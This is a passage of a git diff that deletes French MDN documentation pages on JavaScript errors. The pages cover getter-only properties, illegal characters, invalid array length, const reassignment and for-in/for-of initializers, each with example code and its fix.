On peut désormais utilisé l'instruction de boucle standard {{jsxref("Instructions/for...in", "for...in")}} afin d'itérer sur les clés d'un objet et de récupérer les valeurs des propriétés :

- -
var objet = { a: 10, b: 20 };
-
-for (var key in objet) {
-  var x = objet[key];
-  console.log(x);        // 10
-                         // 20
-}
-
- -

Ou alors, on peut utiliser {{jsxref("Instructions/for...of", "for...of")}} (ES2015) et {{jsxref("Object.values")}} (ES2017) afin d'obtenir un tableau des valeurs associées à un objet pour ensuite le parcourir :

- -
var objet = { a: 10, b: 20 };
-
-for (var x of Object.values(objet)) {
-  console.log(x);        // 10
-                         // 20
-}
-
- -

Itérer sur un tableau

- -

{{jsxref("Instructions/for_each...in", "for each...in")}} pouvait être utilisée afin de parcourir les éléments d'un tableau.

- -

Syntaxe dépréciée

- -
var array = [10, 20, 30];
-
-for each (var x in array) {
-  console.log(x);        // 10
-                         // 20
-                         // 30
-}
-
- -

Syntaxe alternative, standard

- -

On peut obtenir le même effet avec les boucles {{jsxref("Instructions/for...of", "for...of")}} (ES2015).

- -
var array = [10, 20, 30];
-
-for (var x of array) {
-  console.log(x);        // 10
-                         // 20
-                         // 30
-}
-
- -

Parcourir un tableau qui vaille null ou undefined

- -

{{jsxref("Instructions/for_each...in", "for each...in")}} ne fera rien si la valeur fournie est null ou undefined. En revanche, {{jsxref("Instructions/for...of", "for...of")}} lèvera une exception dans ces cas.

- -

Syntaxe dépréciée

- -
function func(array) {
-  for each (var x in array) {
-    console.log(x);
-  }
-}
-func([10, 20]);        // 10
-                       // 20
-func(null);            // rien ne s'affiche
-func(undefined);       // rien ne s'affiche
-
- -

Syntaxe alternative, standard

- -

Pour réécrire les instructions {{jsxref("Instructions/for_each...in", "for each...in")}} afin que les valeurs null ou undefined puissent être gérées avec {{jsxref("Instructions/for...of", "for...of")}}, il faudra rajouter une protection :

- -
function func(array) {
-  if (array) {
-    for (var x of array) {
-      console.log(x);
-    }
-  }
-}
-func([10, 20]);        // 10
-                       // 20
-func(null);            // rien ne s'affiche
-func(undefined);       // rien ne s'affiche
-
- -

Itérer sur les tuples clé-valeur d'un objet

- -

Syntaxe dépréciée

- -

On pouvait utiliser une forme syntaxique particulière, désormais dépréciée, qui combine {{jsxref("Instructions/for_each...in", "for each...in")}} et l'objet déprécié {{jsxref("Iterator")}}.

- -
var object = { a: 10, b: 20 };
-
-for each (var [key, value] in Iterator(object)) {
-  console.log(key, value);  // "a", 10
-                            // "b", 20
-}
-
- -

Syntaxe alternative, standard

- -

On peut désormais utiliser la boucle {{jsxref("Instructions/for...in", "for...in")}} afin de parcourir les différentes clés d'un objet pour ensuite récupérer les valeurs associées :

- -
var object = { a: 10, b: 20 };
-
-for (var key in object) {
-  var value = object[key];
-  console.log(key, value);  // "a", 10
-                            // "b", 20
-}
-
- -

Ou encore, on peut utiliser {{jsxref("Instructions/for...of", "for...of")}} (ES2015) et {{jsxref("Object.entries")}} (ES2017) pour récupérer un tableau contenant les clés et les valeurs d'un objet qu'on pourra ensuite parcourir :

- -
var object = { a: 10, b: 20 };
-
-for (var [key, value] of Object.entries(object)) {
-  console.log(key, value);  // "a", 10
-                            // "b", 20
-}
-
- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/for...of", "for...of")}}
    • -
  • {{jsxref("Object.values")}}
    • -
  • {{jsxref("Object.entries")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/getter_only/index.html b/files/fr/web/javascript/reference/erreurs/getter_only/index.html deleted file mode 100644 index eea26eaed4..0000000000 --- a/files/fr/web/javascript/reference/erreurs/getter_only/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: 'TypeError: setting a property that has only a getter' -slug: Web/JavaScript/Reference/Erreurs/Getter_only -tags: - - Erreurs - - JavaScript - - Mode strict - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Getter_only ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Assignment to read-only properties is not allowed in strict mode (Edge)
-TypeError: setting getter-only property "x" (Firefox)
-TypeError: Cannot set property "prop" of #<Object> which has only a getter (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}, uniquement en mode strict.

- -

Quel est le problème ?

- -

On essaie de fournir une nouvelle valeur pour une propriété qui ne dispose que d'un accesseur. Ceci échouera en mode non-strict mais lèvera une exception {{jsxref("TypeError")}} en mode strict.

- -

Exemples

- -

Dans l'exemple qui suit, on voit comment créer un accesseur sur une propriété. En revanche, dans la définition de l'objet, on n'inclut aucun mutateur et une exception TypeError sera déclenchée lorsqu'on voudra modifier la propriété temperature pour la passer à 30. Pour plus de détails, on pourra consulter la page {{jsxref("Object.defineProperty()")}}.

- -
"use strict";
-
-function Archiver() {
-  var temperature = null;
-  Object.defineProperty(this, 'temperature', {
-    get: function() {
-      console.log('get!');
-      return temperature;
-    }
-  });
-}
-
-var arc = new Archiver();
-arc.temperature; // 'get!'
-
-arc.temperature = 30;
-// TypeError: setting a property that has only a getter
-
- -

Pour corriger cette erreur, soit on retire la ligne 16 (où on tente de modifier la propriété) soit on implémente un mutateur, comme ceci :

- -
"use strict";
-
-function Archiver() {
-  var temperature = null;
-  var archive = [];
-
-  Object.defineProperty(this, 'temperature', {
-    get: function() {
-      console.log('get!');
-      return temperature;
-    },
-    set: function(value) {
-      temperature = value;
-      archive.push({ val: temperature });
-    }
-  });
-
-  this.getArchive = function() { return archive; };
-}
-
-var arc = new Archiver();
-arc.temperature; // 'get!'
-arc.temperature = 11;
-arc.temperature = 13;
-arc.getArchive(); // [{ val: 11 }, { val: 13 }]
- -

Voir aussi

- -
    -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Object.defineProperties()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html b/files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html deleted file mode 100644 index 988d7c9f67..0000000000 --- a/files/fr/web/javascript/reference/erreurs/identifier_after_number/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: 'SyntaxError: identifier starts immediately after numeric literal' -slug: Web/JavaScript/Reference/Erreurs/Identifier_after_number -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Identifier_after_number ---- -
{{JSSidebar("Errors")}}
- -

Message

- -
SyntaxError: Unexpected identifier after numeric literal (Edge)
-SyntaxError: identifier starts immediately after numeric literal (Firefox)
-SyntaxError: Unexpected number (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Les noms qu'on donne aux variables (aussi appelés « identifiants ») doivent respecter certaines règles…

- -

En JavaScript, un identifiant doit commencer par une lettre, un tiret bas (_) ou un dollar ($), il ne peut pas commencer par un chiffre. Seuls les caractères après le premier peuvent être des chiffres.

- -

Exemples

- -

Des variables dont le nom commence par un chiffre

- -

En JavaScript, les noms des variables ne peuvent pas commencer par un chiffre. Aussi, le script suivant provoquera des erreurs :

- -
var 1vie = 'toto';
-// SyntaxError: identifier starts immediately after numeric literal
-
-var toto = 1vie;
-// SyntaxError: identifier starts immediately after numeric literal
-
-alert(1.toto);
-// SyntaxError: identifier starts immediately after numeric literal
-
- -

Pour éviter ce problème, il faudra renommer les variables afin d'éviter d'utiliser un chiffre au début :

- -
var vie1 = 'toto';
-var toto = vie1;
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/illegal_character/index.html b/files/fr/web/javascript/reference/erreurs/illegal_character/index.html deleted file mode 100644 index 1807fd5d72..0000000000 --- a/files/fr/web/javascript/reference/erreurs/illegal_character/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'SyntaxError: illegal character' -slug: Web/JavaScript/Reference/Erreurs/Illegal_character -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Illegal_character ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Invalid character (Edge)
-SyntaxError: illegal character (Firefox)
-SyntaxError: Invalid or unexpected token (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Dans le code, il y a un élément de la syntaxe qui n'est pas à la bonne place. Pour détecter les erreurs de ce type, vous pouvez utiliser un éditeur de texte qui prend en charge la coloration syntaxique et qui met en évidence les caractères problématiques (par exemple si on a utilisé un tiret ( – ) au lieu d'un moins ( - ) ou des guillemets anglais ( “ ) à la place de doubles quotes ( " ).

- -

Exemples

- -

Caractères ressemblants

- -

Certains caractères ressemblent à des caractères spéciaux en JavaScript mais n'en sont pas. Dans ce cas, lorsque le moteur analysera le code, il échouera.

- -
“Ceci ressemble à une chaîne de caractères.”;
-// “ n'est pas le caractère "
-// SyntaxError: illegal character
-
-42 – 13;
-// – n'est pas le caractère -
-// SyntaxError: illegal character
-
-var toto = "truc";
-// ; (<37e>) n'est pas le caractère ;
-// SyntaxError: illegal character
-
- -

On peut corriger ce point en utilisant les bons caractères :

- -
"Ceci est vraiment une chaîne de caractères.";
-42 - 13;
-var toto = "truc";
-
- -

Certains éditeurs et environnements de développement intégrés indiqueront la présence de tels caractères avec une coloration syntaxique différente. Toutefois, tous les éditeurs n'ont pas une telle fonctionnalité et si vous n'arrivez pas à déterminer l'origine du problème, il vaudra sans doute mieux supprimer la ligne incriminée et la resaisir manuellement.

- -

Caractères oubliés

- -

On oublie parfois un caractère.

- -
var couleurs = ['#000', #333', '#666'];
-// SyntaxError: illegal character
-
- -

Dans ce cas, il suffit de rajouter la quote pour '#333'.

- -
var couleurs = ['#000', '#333', '#666'];
- -

Caractères cachés

- -

Lorsque vous copiez/collez du code depuis des sources externes, celles-ci peuvent contenir des caractères invalides difficiles à discerner.

- -
var toto = 'truc';​
-// SyntaxError: illegal character
-
- -

Lorsqu'on inspecte ce code grâce à un éditeur de texte (par exemple Vim), on peut voir qu'il y en fait un espace sans chasse (ZWSP) (U+200B).

- -
var toto = 'truc';​<200b>
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html b/files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html deleted file mode 100644 index 18aed9f10b..0000000000 --- a/files/fr/web/javascript/reference/erreurs/in_operator_no_object/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: 'TypeError: invalid ''in'' operand "x"' -slug: Web/JavaScript/Reference/Erreurs/in_operator_no_object -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Invalid operand to 'in' (Edge)
-TypeError: right-hand side of 'in' should be an object, got 'x' (Firefox)
-TypeError: cannot use 'in' operator to search for 'x' in 'y' (Firefox, Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

L'opérateur in peut uniquement être utilisé pour vérifier qu'une propriété appartient à un objet. Il ne peut pas être utilisé pour rechercher des caractères dans des chaînes de caractères, des nombres ou dans d'autres types de données en dehors des objets.

- -

Exemples

- -

Rechercher un texte dans une chaîne de caractères

- -

À la différence de certains langages de programmation (Python par exemple), JavaScript ne permet pas de chercher des textes dans une chaîne de caractères grâce à l'opérateur in.

- -
"Coucou" in "Coucou monde";
-// TypeError: cannot use 'in' operator to search for 'Coucou' in 'Coucou monde'
-
- -

On utilisera plutôt la méthode {{jsxref("String.prototype.indexOf()")}} :

- -
"Coucou monde".indexOf("Coucou") !== -1;
-// true
- -

null ou undefined ne fonctionnent pas

- -

Avant d'utiliser in, il faut s'assurer que la valeur qu'on inspecte n'est pas {{jsxref("null")}} ou {{jsxref("undefined")}}.

- -
var toto = null;
-"truc" in toto;
-// TypeError: cannot use 'in' operator to search for 'truc' in 'toto" (Chrome)
-// TypeError: right-hand side of 'in' should be an object, got null (Firefox)
-
- -

L'opérateur in doit être utilisé avec un objet.

- -
var toto = { machin: "bidule" };
-"truc" in toto; // false
-
-"PI" in Math; // true
-"pi" in Math; // false
-
- -

Rechercher dans un tableau

- -

Attention lorsqu'on utilise l'opérateur in quand on recherche une valeur dans un objet {{jsxref("Array")}}. L'opérateur in vérifie la présence de l'index mais pas la valeur présente à cet index.

- -
var arbres = ['cèdre', 'bouleau', 'pin', 'sapin', 'érable'];
-3 in arbres; // true
-"pin" in arbres; // false
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/index.html b/files/fr/web/javascript/reference/erreurs/index.html deleted file mode 100644 index a6ac12300b..0000000000 --- a/files/fr/web/javascript/reference/erreurs/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Référence des erreurs JavaScript -slug: Web/JavaScript/Reference/Erreurs -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Errors ---- -

{{jsSidebar("Errors")}}

- -

Errare ECMAScript est…
- Vous trouverez ci-après une liste d'erreurs causées par le moteur JavaScript. Ces erreurs peuvent aider à déboguer certains problèmes mais leur signification n'est pas toujours claire. Chacune de ces pages fournit donc des explications et informations supplémentaires à propos de ces erreurs.

- -

D'un point de vue technique, chaque erreur est un objet {{jsxref("Error")}} et possède une propriété name (son nom) et une propriété message.

- -

Liste d'erreurs

- -

{{ListSubPages("/fr/docs/Web/JavaScript/Reference/Erreurs")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html b/files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html deleted file mode 100644 index 45b4dad5a6..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_array_length/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 'RangeError: invalid array length' -slug: Web/JavaScript/Reference/Erreurs/Invalid_array_length -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length ---- -
{{jsSidebar("Erreurs")}}
- -

Message

- -
RangeError: Array length must be a finite positive integer (Edge)
-RangeError: invalid array length (Firefox)
-RangeError: Invalid array length (Chrome)
-RangeError: Invalid array buffer length (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

Deux cas de figures peuvent causer cette erreur :

- -
    -
  • La création d'un tableau {{jsxref("Array")}} ou {{jsxref("ArrayBuffer")}} dont la longueur est négative ou supérieure ou égale à 232
    • -
  • La modification de la propriété {{jsxref("Array.length")}} pour que celle-ci ait une valeur négative ou supérieure ou égale à 232.
    • -
- -

Les tailles des objets Array et ArrayBuffer sont limitées car leurs longueurs (length) sont représentées par des entiers non-signés sur 32 bits. Ces valeurs sont donc nécessairement comprises dans l'intervalle allant de 0 à 232-1.

- -

Si vous utilisez le constructeur pour Array, il est probable que vous souhaitiez utiliser la notation littérale plutôt que le constructeur. En effet, le premier argument de ce constructeur correspond à la longueur du tableau.

- -

Sinon, vous pouvez réduire la longueur utilisée afin que celle-ci soit dans l'intervalle valide avant de l'utiliser pour une telle création ou modification.

- -

Exemples

- -

Exemples invalides

- -
new Array(Math.pow(2, 40))
-new Array(-1)
-new ArrayBuffer(Math.pow(2, 32))
-new ArrayBuffer(-1)
-
-let a = [];
-a.length = a.length - 1;         // set -1 to the length property
-
-let b = new Array(Math.pow(2, 32) - 1);
-b.length = b.length + 1;         // set 2^32 to the length property
-
- -

Exemples valides

- -
[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
-[ -1 ]                                  // [ -1 ]
-new ArrayBuffer(Math.pow(2, 32) - 1)
-new ArrayBuffer(0)
-
-let a = [];
-a.length = Math.max(0, a.length - 1);
-
-let b = new Array(Math.pow(2, 32) - 1);
-b.length = Math.min(0xffffffff, b.length + 1);
-
-// 0xffffffff est la notation hexadécimale
-// pour 2^32 - 1
-// ce qu'on peut également écrire (-1 >>> 0)
-
- -

Voir aussi

- -
    -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("Array.length")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html b/files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html deleted file mode 100644 index 5253b4cb3d..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_assignment_left-hand_side/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: 'ReferenceError: invalid assignment left-hand side' -slug: Web/JavaScript/Reference/Erreurs/Invalid_assignment_left-hand_side -tags: - - Erreurs - - JavaScript - - ReferenceError -translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
ReferenceError: invalid assignment left-hand side
-
- -

Type d'erreur

- -

{{jsxref("ReferenceError")}}.

- -

Quel est le problème ?

- -

Un affectation inattendue a eu lieu. Cela peut être dû à un mélange entre un opérateur d'affectation et un opérateur de comparaison. Un seul signe égal affectera une valeur à une variable alors que les opérateurs == ou === comparent des valeurs entre elles.

- -

Exemples

- -
if (Math.PI = 3 || Math.PI = 4) {
-  console.log('Nope !');
-}
-// ReferenceError: invalid assignment left-hand side
-
-var str = 'Hello, '
-+= 'is it me '
-+= 'you\'re looking for?';
-// ReferenceError: invalid assignment left-hand side
-
- -

Dans l'instruction if, plutôt qu'une affectation, on voudra plutôt utiliser un opérateur == ou === et l'opérateur de concaténation (+) à la place pour la chaîne.

- -
if (Math.PI == 3 || Math.PI == 4) {
-  console.log('no way!');
-}
-
-var str = 'Hello, '
-+ 'from the '
-+ 'other side!';
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html b/files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html deleted file mode 100644 index 83d21663c9..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_const_assignment/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: 'TypeError: invalid assignment to const "x"' -slug: Web/JavaScript/Reference/Erreurs/Invalid_const_assignment -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Invalid_const_assignment ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: invalid assignment to const "x" (Firefox)
-TypeError: Assignment to constant variable. (Chrome)
-TypeError: Redeclaration of const 'x' (Edge)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Une constante est une valeur qui ne peut pas être modifiée lors de l'exécution du programme. Elle ne peut pas être modifiée grâce à une réaffectation ou grâce à une redéclaration. En JavaScript, les constantes sont déclarées grâce au mot-clé const.

- -

Exemples

- -

Redéclaration invalide

- -

Si on affecte une valeur à une constante dans la même portée de bloc que celui qui contient l'affectation initiale, une exception sera levée :

- -
const COLUMNS = 80;
-
-// ...
-
-COLUMNS = 120; // TypeError: invalid assignment to const `COLUMNS'
- -

Résoudre le problème

- -

Il existe plusieurs façons de résoudre ce problème et il faut au préalable comprendre le rôle de la constante en question.

- -

Utiliser un autre nom

- -

Si on souhaite déclarer une autre constante, on peut utiliser un autre nom que celui qui est déjà pris dans cette portée :

- -
const COLUMNS = 80;
-const WIDE_COLUMNS = 120;
- -

const, let ou var ?

- -

const ne doit pas être utilisé si on ne souhaite pas déclarer de constante. Peut-être qu'on souhaite simplement déclarer une variable avec une portée de bloc grâce à let ou une variable globale avec var.

- -
let columns = 80;
-
-// ...
-
-let columns = 120;
-
- -

Gérer les portées

- -

On peut également vérifier qu'on est dans la bonne portée. Est-ce que la constante devait apparaître dans la portée en question ou devait être utilisée dans une fonction ?

- -
const COLUMNS = 80;
-
-function setupBigScreenEnvironment() {
-  const COLUMNS = 120;
-}
- -

const et l'immuabilité

- -

La déclaration const crée une référence en lecture seule vers une valeur. Elle ne signifie pas que la valeur en question est immuable mais uniquement que l'identifiant de la référence ne peut pas recevoir de nouvelle valeur. Ainsi, si le contenu est un objet, celui-ci pourra toujours être modifié :

- -
const obj = {toto: 'truc'};
-obj = {toto: 'bidule'}; // TypeError: invalid assignment to const `obj'
-
- -

En revanche, on peut modifier les propriétés :

- -
obj.toto = 'bidule';
-obj; // Object { toto: "bidule" }
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/invalid_date/index.html b/files/fr/web/javascript/reference/erreurs/invalid_date/index.html deleted file mode 100644 index cd05197ba4..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_date/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: 'RangeError: invalid date' -slug: Web/JavaScript/Reference/Erreurs/Invalid_date -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Invalid_date ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
RangeError: invalid date (Edge)
-RangeError: invalid date (Firefox)
-RangeError: invalid time value (Chrome)
-RangeError: Provided date is not in valid range (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

Une chaîne de caractères indiquant une date invalide a été fournie comme argument au constructeur {{jsxref("Date")}} ou à la méthode {{jsxref("Date.parse()")}}.

- -

Exemples

- -

Exemples invalides

- -

Les chaînes de caractères qui ne peuvent pas être converties en date ou les dates qui contiennent des éléments illégaux pour le format ISO renvoient généralement {{jsxref("NaN")}}. Cependant, selon l'implémentation, les chaînes de caractères qui ne respectent pas le format ISO pour les dates peuvent déclencher une exception RangeError: invalid date. Les instructions suivantes déclencheront cette erreur dans Firefox :

- -
new Date('toto-truc 2014');
-new Date('2014-25-23').toISOString();
-new Date('toto-truc 2014').toString();
-
- -

En revanche, cette instruction renverra {{jsxref("NaN")}} dans Firefox :

- -
Date.parse('toto-truc 2014'); // NaN
- -

Pour plus de détails, consulter la documentation sur {{jsxref("Date.parse()")}}.

- -

Exemples valides

- -
new Date('05 October 2011 14:48 UTC');
-new Date(1317826080); // timestamp Unix pour le 5 octobre 2011 14:48:00 UTC
- -

Voir aussi

- -
    -
  • {{jsxref("Date")}}
    • -
  • {{jsxref("Date.prototype.parse()")}}
    • -
  • {{jsxref("Date.prototype.toISOString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html b/files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html deleted file mode 100644 index d7845dc2f9..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_for-in_initializer/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: 'SyntaxError: for-in loop head declarations may not have initializers' -slug: Web/JavaScript/Reference/Erreurs/Invalid_for-in_initializer -tags: - - Erreurs - - JavaScript - - Mode strict - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Invalid_for-in_initializer ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: for-in loop head declarations cannot have an initializer (Edge)
-SyntaxError: for-in loop head declarations may not have initializers (Firefox)
-SyntaxError: for-in loop variable declaration may not have an initializer. (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}, uniquement en mode strict.

- -

Quel est le problème ?

- -

L'en-tête d'une boucle for...in contient une expression d'initialisation, c'est-à-dire qu'une variable est déclarée et qu'on lui affecte une valeur. Ceci n'est pas autorisé en mode strict (et ignoré en mode non-strict).

- -

Exemples

- -

Cet exemple déclenchera une exception SyntaxError :

- -
"use strict";
-
-var obj = {a: 1, b: 2, c: 3 };
-
-for (var i = 0 in obj) {
-  console.log(obj[i]);
-}
-
-// SyntaxError: for-in loop head declarations may not have initializers
-
- -

Boucle for-in valide

- -

On peut retirer l'initialisateur de l'en-tête de la boucle :

- -
"use strict";
-
-var obj = {a: 1, b: 2, c: 3 };
-
-for (var i in obj) {
-  console.log(obj[i]);
-}
-
- -

Parcours d'un tableau

- -

Il ne faut pas utiliser de boucle for...in pour parcourir un tableau (Array). Peut-être souhaitiez-vous utiliser une boucle for pour parcourir le tableau ? Cette boucle for permet également d'utiliser un initialisateur :

- -
var arr = [ "a", "b", "c" ]
-
-for (var i = 2; i < arr.length; i++) {
-  console.log(arr[i]);
-}
-
-// "c"
- -

Voir aussi

- -
    -
  • for...in
    • -
  • for...of interdit également d'utiliser un initialisateur en mode strict et non-strict
    • -
  • for permet de définir un initialisateur lors de l'itération et doit être privilégié pour parcourir un tableau
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html b/files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html deleted file mode 100644 index a6f4d98483..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_for-of_initializer/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: >- - SyntaxError: a declaration in the head of a for-of loop can't have an - initializer -slug: Web/JavaScript/Reference/Erreurs/Invalid_for-of_initializer -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Invalid_for-of_initializer ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: for-of loop head declarations cannot have an initializer (Edge)
-SyntaxError: a declaration in the head of a for-of loop can't have an initializer (Firefox)
-SyntaxError: for-of loop variable declaration may not have an initializer. (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

L'en-tête d'une boucle for...of contient une expression d'initialisation, c'est-à-dire qu'une variable est déclarée et qu'on lui affecte une valeur. Ceci n'est pas autorisé pour les boucles for-of. En revanche, les boucles for permettent d'avoir un initialisateur.

- -

Exemples

- -

Boucles for-of invalides

- -
let iterable = [10, 20, 30];
-
-for (let value = 50 of iterable) {
-  console.log(value);
-}
-
-// SyntaxError: a declaration in the head of a for-of loop can't
-// have an initializer
- -

Boucles for-of valides

- -

Il faut retirer l'initialisateur de l'en-tête de la boucle pour ne plus avoir l'erreur. Si cette valeur devait servir d'incrément, on peut ajouter l'addition dans le corps de la boucle.

- -
let iterable = [10, 20, 30];
-
-for (let value of iterable) {
-  value += 50;
-  console.log(value);
-}
-// 60
-// 70
-// 80
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html b/files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html deleted file mode 100644 index ef5cffa224..0000000000 --- a/files/fr/web/javascript/reference/erreurs/invalid_right_hand_side_instanceof_operand/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: 'TypeError: invalid ''instanceof'' operand ''x''' -slug: Web/JavaScript/Reference/Erreurs/invalid_right_hand_side_instanceof_operand -tags: - - Error - - Errors - - JavaScript - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Errors/invalid_right_hand_side_instanceof_operand ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: invalid 'instanceof' operand "x" (Firefox)
-TypeError: "x" is not a function (Firefox)
-TypeError: Right-hand side of 'instanceof' is not an object (Chrome)
-TypeError: Right-hand side of 'instanceof' is not callable (Chrome)
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

L'opérateur instanceof attend un opérande droit qui soit un objet constructeur, c'est-à-dire un objet possédant une propriété prototype et qui puisse être appelé.

- -

Exemples

- -
"test" instanceof ""; // TypeError: invalid 'instanceof' operand ""
-42 instanceof 0;      // TypeError: invalid 'instanceof' operand 0
-
-function Toto() {}
-var f = Toto();        // Toto() est appelé et renvoie undefined
-var x = new Toto();
-
-x instanceof f;       // TypeError: invalid 'instanceof' operand f
-x instanceof x;       // TypeError: x is not a function
-
- -

Pour corriger ces erreurs, il faut remplacer l'opérateur instanceof avec l'opérateur typeof ou s'assurer que l'opérande droit est la fonction et non le résultat de son évaluation.

- -
typeof "test" == "string";  // true
-typeof 42 == "number"       // true
-
-function Toto() {}
-var f = Toto;               // On n'appelle pas Toto.
-var x = new Toto();
-
-x instanceof f;             // true
-x instanceof Toto;          // true
-
- -

Voir aussi

- - - -

 

diff --git a/files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html b/files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html deleted file mode 100644 index 1e3b4af06c..0000000000 --- a/files/fr/web/javascript/reference/erreurs/is_not_iterable/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: 'TypeError: ''x'' is not iterable' -slug: Web/JavaScript/Reference/Erreurs/is_not_iterable -tags: - - Error - - JavaScript - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Errors/is_not_iterable ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: 'x' is not iterable (Firefox, Chrome)
-TypeError: 'x' is not a function or its return value is not iterable (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

La valeur passée comme opérande droit de for…of ou comme argument d'une fonction telle que {{jsxref("Promise.all")}} ou {{jsxref("TypedArray.from")}} n'est pas un objet itérable.  Un objet itérable peut être un objet itérable natif tel qu'un objet {{jsxref("Array")}}, {{jsxref("String")}} ou {{jsxref("Map")}} ou le résultat d'un générateur ou un objet qui implémente le protocole itérable.

- -

Exemples

- -

Parcourir les propriétés d'un objet

- -

En JavaScript, les objets ne sont pas itérables car ils n'implémentent pas le protocole itérable. On ne peut donc pas utiliser for...of afin d'en parcourir les propriétés.

- -
var obj = { 'France': 'Paris', 'England': 'London' };
-for (let p of obj) { // TypeError: obj is not iterable
-    // …
-}
-
- -

Si on souhaite utiliser un itérateur pour parcourir les propriétés (leurs noms ou leurs valeurs), on pourra utiliser les méthodes {{jsxref("Object.keys")}} ou {{jsxref("Object.entries")}} qui fournissent des itérateurs :

- -
var obj = { 'France': 'Paris', 'England': 'London' };
-// On parcourt les noms des propriétés
-for (let country of Object.keys(obj)) {
-    var capital = obj[country];
-    console.log(country, capital);
-}
-
-for (const [country, capital] of Object.entries(obj))
-    console.log(country, capital);
-
- -

On pourrait également utiliser un objet {{jsxref("Map")}} :

- -
